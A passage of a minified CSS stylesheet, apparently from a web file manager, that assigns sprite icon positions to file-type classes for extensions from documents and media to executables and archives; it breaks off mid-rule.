.x-item-file.x-jpg{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-65px -13px !important;}.file-list-list .file .ico .x-item-file.x-png{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-64px 0 !important;}.file-list-list .file .ico .x-item-file.x-accdb{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px -624px !important;}.file-list-list .file .ico .x-item-file.x-csv{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px -608px !important;}.file-list-list .file .ico .x-item-file.x-doc{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px -592px !important;}.file-list-list .file .ico .x-item-file.x-docm{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px -576px !important;}.file-list-list .file .ico .x-item-file.x-docx{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px -560px !important;}.file-list-list .file .ico .x-item-file.x-dot{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px -544px !important;}.file-list-list .file .ico .x-item-file.x-dotm{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px -528px !important;}.file-list-list .file .ico .x-item-file.x-dotx{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px -512px !important;}.file-list-list .file .ico .x-item-file.x-epub{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px -496px !important;}.file-list-list .file .ico .x-item-file.x-mdb{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px -480px !important;}.file-list-list .file .ico .x-item-file.x-mht{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px -464px !important;}.file-list-list .file .ico .x-item-file.x-mpp{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px -448px !important;}.file-list-list .file .ico .x-item-file.x-mpt{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px -432px !important;}.file-list-list .file .ico .x-item-file.x-msg{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px -416px !important;}.file-list-list .file .ico .x-item-file.x-odp{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px -400px !important;}.file-list-list .file .ico .x-item-file.x-ods{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px -384px !important;}.file-list-list .file .ico .x-item-file.x-odt{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px -368px !important;}.file-list-list .file .ico .x-item-file.x-pdf{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px -352px !important;}.file-list-list .file .ico .x-item-file.x-pps{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px -336px !important;}.file-list-list .file .ico .x-item-file.x-ppsx{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px -320px !important;}.file-list-list .file .ico .x-item-file.x-ppt{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px -304px !important;}.file-list-list .file .ico .x-item-file.x-pptx{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px -288px !important;}.file-list-list .file .ico .x-item-file.x-pst{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px -272px !important;}.file-list-list .file .ico .x-item-file.x-pub{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px -256px !important;}.file-list-list .file .ico .x-item-file.x-vcf{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px -240px !important;}.file-list-list .file .ico .x-item-file.x-vdw{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px -224px !important;}.file-list-list .file .ico .x-item-file.x-vdx{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px -208px !important;}.file-list-list .file .ico .x-item-file.x-vsd{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px -192px !important;}.file-list-list .file .ico .x-item-file.x-vsdx{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px -176px !important;}.file-list-list .file .ico .x-item-file.x-vss{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px -160px !important;}.file-list-list .file .ico .x-item-file.x-vst{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px -144px !important;}.file-list-list .file .ico .x-item-file.x-vsx{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px -128px !important;}.file-list-list .file .ico .x-item-file.x-vtx{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px -112px !important;}.file-list-list .file .ico .x-item-file.x-xls{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px -96px !important;}.file-list-list .file .ico .x-item-file.x-xlsb{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px -80px !important;}.file-list-list .file .ico .x-item-file.x-xlsm{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px -64px !important;}.file-list-list .file .ico .x-item-file.x-xlsx{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px -48px !important;}.file-list-list .file .ico .x-item-file.x-xlt{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px -32px !important;}.file-list-list .file .ico .x-item-file.x-xltx{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px -16px !important;}.file-list-list .file .ico .x-item-file.x-xps{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px 0 !important;}.file-list-list .file .ico .x-item-file.x-cab{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-97px -240px !important;}.file-list-list .file .ico .x-item-file.x-cer{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-97px -224px !important;}.file-list-list .file .ico .x-item-file.x-chm{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-97px -208px !important;}.file-list-list .file .ico .x-item-file.x-cmd{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-97px -192px !important;}.file-list-list .file .ico .x-item-file.x-dll{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-97px -176px !important;}.file-list-list .file .ico .x-item-file.x-exe{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-97px -160px !important;}.file-list-list .file .ico .x-item-file.x-fon{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-97px -144px !important;}.file-list-list .file .ico .x-item-file.x-hlp{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-97px -128px !important;}.file-list-list .file .ico .x-item-file.x-ini{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-97px -112px !important;}.file-list-list .file .ico .x-item-file.x-lnk{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-97px -96px !important;}.file-list-list .file .ico .x-item-file.x-msi{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-97px -80px !important;}.file-list-list .file .ico .x-item-file.x-ps1{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-97px -64px !important;}.file-list-list .file .ico .x-item-file.x-reg{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-97px -48px !important;}.file-list-list .file .ico .x-item-file.x-rtf{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-97px -32px !important;}.file-list-list .file .ico .x-item-file.x-txt{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-97px -16px !important;}.file-list-list .file .ico .x-item-file.x-vbs{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-97px 0 !important;}.file-list-list .file .ico .x-item-file.x-3gp{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-112px -160px !important;}.file-list-list .file .ico .x-item-file.x-avi{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-112px -144px !important;}.file-list-list .file .ico .x-item-file.x-flv{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-112px -128px !important;}.file-list-list .file .ico .x-item-file.x-m4v{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-112px -112px !important;}.file-list-list .file .ico .x-item-file.x-mkv{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-112px -96px !important;}.file-list-list .file .ico .x-item-file.x-mov{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-112px -80px !important;}.file-list-list .file .ico .x-item-file.x-mp4{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-112px -64px !important;}.file-list-list .file .ico .x-item-file.x-mpg{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-112px -48px !important;}.file-list-list .file .ico .x-item-file.x-ogg{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-112px -32px !important;}.file-list-list .file .ico .x-item-file.x-webm{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-112px -16px !important;}.file-list-list .file .ico .x-item-file.x-wmv{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-112px 0 !important;}.file-list-list .file .ico .x-item-file.x-asax{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-128px -176px !important;}.file-list-list .file .ico .x-item-file.x-ascx{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-128px -160px !important;}.file-list-list .file .ico .x-item-file.x-ashx{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-128px -144px !important;}.file-list-list .file .ico .x-item-file.x-asmx{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-128px -128px !important;}.file-list-list .file .ico .x-item-file.x-aspx{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-128px -112px !important;}.file-list-list .file .ico .x-item-file.x-config{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-128px -96px !important;}.file-list-list .file .ico .x-item-file.x-cshtml{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-128px -80px !important;}.file-list-list .file .ico .x-item-file.x-swf{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-128px -16px !important;}.file-list-list .file .ico .x-item-file.x-xap{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-128px 0 !important;}.file-list-list .file .ico .x-item-file.x-php{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-size:auto;background-position:-1px -1px !important;background-image:url("../../../images/file_icon/icon_file/php_small.png");}.file-list-list .file .ico .x-item-file.x-txt,.file-list-list .file .ico .x-item-file.x-textile,.file-list-list .file .ico .x-item-file.x-inc,.file-list-list .file .ico .x-item-file.x-log{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-size:auto;background-position:-1px -1px !important;background-image:url("../../../images/file_icon/icon_file/txt_small.png");}.file-list-split .file .ico .x-item-file{display:table-cell;}.file-list-split .file .ico .x-item-file.x-7z{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:0 -160px !important;}.file-list-split .file .ico .x-item-file.x-bz2{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:0 -144px !important;}.file-list-split .file .ico .x-item-file.x-dmg{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:0 -128px !important;}.file-list-split .file .ico .x-item-file.x-gz{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:0 -112px !important;}.file-list-split .file .ico .x-item-file.x-iso{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:0 -96px !important;}.file-list-split .file .ico .x-item-file.x-jar{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:0 -80px !important;}.file-list-split .file .ico .x-item-file.x-pkg{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:0 -64px !important;}.file-list-split .file .ico .x-item-file.x-rar{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:0 -48px !important;}.file-list-split .file .ico .x-item-file.x-sitx{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:0 -32px !important;}.file-list-split .file .ico .x-item-file.x-tar{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:0 -16px !important;}.file-list-split .file .ico .x-item-file.x-zip{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:0 0 !important;}.file-list-split .file .ico .x-item-file.x-aac{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-16px -80px !important;}.file-list-split .file .ico .x-item-file.x-m4a{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-16px -64px !important;}.file-list-split .file .ico .x-item-file.x-midi{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-16px -48px !important;}.file-list-split .file .ico .x-item-file.x-mp3{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-16px -32px !important;}.file-list-split .file .ico .x-item-file.x-wav{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-16px -16px !important;}.file-list-split .file .ico .x-item-file.x-wma{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-16px 0 !important;}.file-list-split .file .ico .x-item-file.x-3ds{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-32px -192px !important;}.file-list-split .file .ico .x-item-file.x-ai{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-32px -176px !important;}.file-list-split .file .ico .x-item-file.x-as{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-32px -160px !important;}.file-list-split .file .ico .x-item-file.x-cdr{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-32px -144px !important;}.file-list-split .file .ico .x-item-file.x-dwg{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-32px -128px !important;}.file-list-split .file .ico .x-item-file.x-dxf{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-32px -112px !important;}.file-list-split .file .ico .x-item-file.x-eps{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-32px -96px !important;}.file-list-split .file .ico .x-item-file.x-fla{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-32px -80px !important;}.file-list-split .file .ico .x-item-file.x-indd{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-32px -64px !important;}.file-list-split .file .ico .x-item-file.x-prproj{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-32px -48px !important;}.file-list-split .file .ico .x-item-file.x-psb{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-32px -32px !important;}.file-list-split .file .ico .x-item-file.x-psd{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-32px -16px !important;}.file-list-split .file .ico .x-item-file.x-pspimage{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-32px 0 !important;}.file-list-split .file .ico .x-item-file.x-c{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-48px -320px !important;}.file-list-split .file .ico .x-item-file.x-cpp{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-48px -304px !important;}.file-list-split .file .ico .x-item-file.x-cs{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-48px -288px !important;}.file-list-split .file .ico .x-item-file.x-csproj{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-48px -272px !important;}.file-list-split .file .ico .x-item-file.x-dtd{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-48px -256px !important;}.file-list-split .file .ico .x-item-file.x-h{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-48px -240px !important;}.file-list-split .file .ico .x-item-file.x-ldf{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-48px -224px !important;}.file-list-split .file .ico .x-item-file.x-mdf{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-48px -208px !important;}.file-list-split .file .ico .x-item-file.x-pdb{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-48px -192px !important;}.file-list-split .file .ico .x-item-file.x-resx{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-48px -176px !important;}.file-list-split .file .ico .x-item-file.x-sln{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-48px -160px !important;}.file-list-split .file .ico .x-item-file.x-sql{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-48px -144px !important;}.file-list-split .file .ico .x-item-file.x-suo{position:relative;width:16px 